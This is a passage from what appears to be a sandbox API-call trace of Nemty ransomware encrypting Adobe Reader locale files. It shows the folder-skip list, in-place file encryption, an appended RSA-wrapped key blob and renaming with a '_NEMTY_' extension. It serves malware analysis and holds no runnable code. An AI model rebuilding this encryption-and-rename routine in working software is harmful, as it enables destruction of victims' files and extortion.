returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="appdata") returned 1 [0178.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.702] Sleep (dwMilliseconds=0x5) [0178.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e2accb0, dwHighDateTime=0x1d561e8)) [0178.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e2accb0, dwHighDateTime=0x1d561e8)) [0178.711] GetLastError () returned 0x0 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.712] GetLastError () returned 0x0 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.712] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.712] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="rhfPw5WO7xMXKJ4sF2KxHU+WHNfrL8/mCkNIwczhKohY16CHzUVvYHFBWrKJf7T9\r\n6wClJcE9/8lNMOBhE6NjNlZDuaz5rRoVkLoPeYa3xSAOKIGV08ANNx6kuAEzem+M\r\nL149c6JY1PXqbdMZ0pzsS3kpve8zVK8OYshS6V2SwulrZ+v5SgzKEvmaF19Is7fl\r\namadf+k4fmCP7qz9Z4r63ef7CJX1IG1CfpVmrL8+NnEnRfV7dPdKHHt7h24uzSIV\r\n90VDJPbomKg2lxlWkxCmljGaKEPAG18nvdRkPzNa0GP0qCAKeyynuf9XGj+ciFvz\r\nUfpMluvddhFm6ZSVs9r0UQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Search.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\search.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.713] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25088) returned 1 [0178.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6200) returned 0x6352c48 [0178.713] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.713] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6200, lpOverlapped=0x0) returned 1 [0178.715] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.715] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6200, lpOverlapped=0x0) returned 1 [0178.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.716] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0178.716] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.716] CloseHandle (hObject=0x2e8) returned 1 [0178.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.716] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Search.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\search.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Search.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\search.ita._nemty_kgobjgd_")) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.717] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.ITA", cAlternateFileName="")) returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2=".") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="..") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="...") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="windows") returned -1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="rsa") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="NTDETECT.COM") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="ntldr") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="MSDOS.SYS") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="IO.SYS") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="boot.ini") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="boot.ini") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="ntuser.dat") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="desktop.ini") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="CONFIG.SYS") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="RECYCLER") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="bootmgr") returned 1 [0178.717] lstrcmpiW (lpString1="SendMail.ITA", lpString2="programdata") returned 1 [0178.718] lstrcmpiW (lpString1="SendMail.ITA", lpString2="appdata") returned 1 [0178.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.718] Sleep (dwMilliseconds=0x5) [0178.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e2d2e10, dwHighDateTime=0x1d561e8)) [0178.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e2d2e10, dwHighDateTime=0x1d561e8)) [0178.727] GetLastError () returned 0x0 [0178.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.727] GetLastError () returned 0x0 [0178.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.728] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.728] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.728] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.728] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HPIoB8yFuk5hxH+pq1uyYrH/WOANjw3Vo9CYRdiVoYvWPIIgORKo05f13067M5i4\r\nXiEZCb6wgb+G2m1mtV6VqWstjZPBOBiCVfJNpytmuQs8ZW22akQQQG4SXr7OXrvg\r\nvS8xxrUnko9Hq9SyqcRbGWJvdI5Y2sc11zNMmXJVSQWa399wQ8WFCOdYR4bPG/gk\r\nn5ky8N6M4u9p0ywiP7/lk7C8DZd72RPLN0OQe3odeIET532LFQA0ld14Ovz2pQUm\r\njbywwhTwS7RT4cKH9SiUr0NRiT2blTTiGf0L6ZLB7S6Hm+5LizZUgB8TX264DrwL\r\nc0G7w3ai4vG5552vfLuMmA==\r\n", pcchString=0x653e5dc) returned 1 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SendMail.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\sendmail.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.728] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15872) returned 1 [0178.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e00) returned 0x6352c48 [0178.728] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.729] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3e00, lpOverlapped=0x0) returned 1 [0178.731] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.731] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e00, lpOverlapped=0x0) returned 1 [0178.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.731] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e00 [0178.731] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.731] CloseHandle (hObject=0x2e8) returned 1 [0178.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.732] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SendMail.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\sendmail.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SendMail.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\sendmail.ita._nemty_kgobjgd_")) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.732] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0178.732] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0178.732] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0178.733] 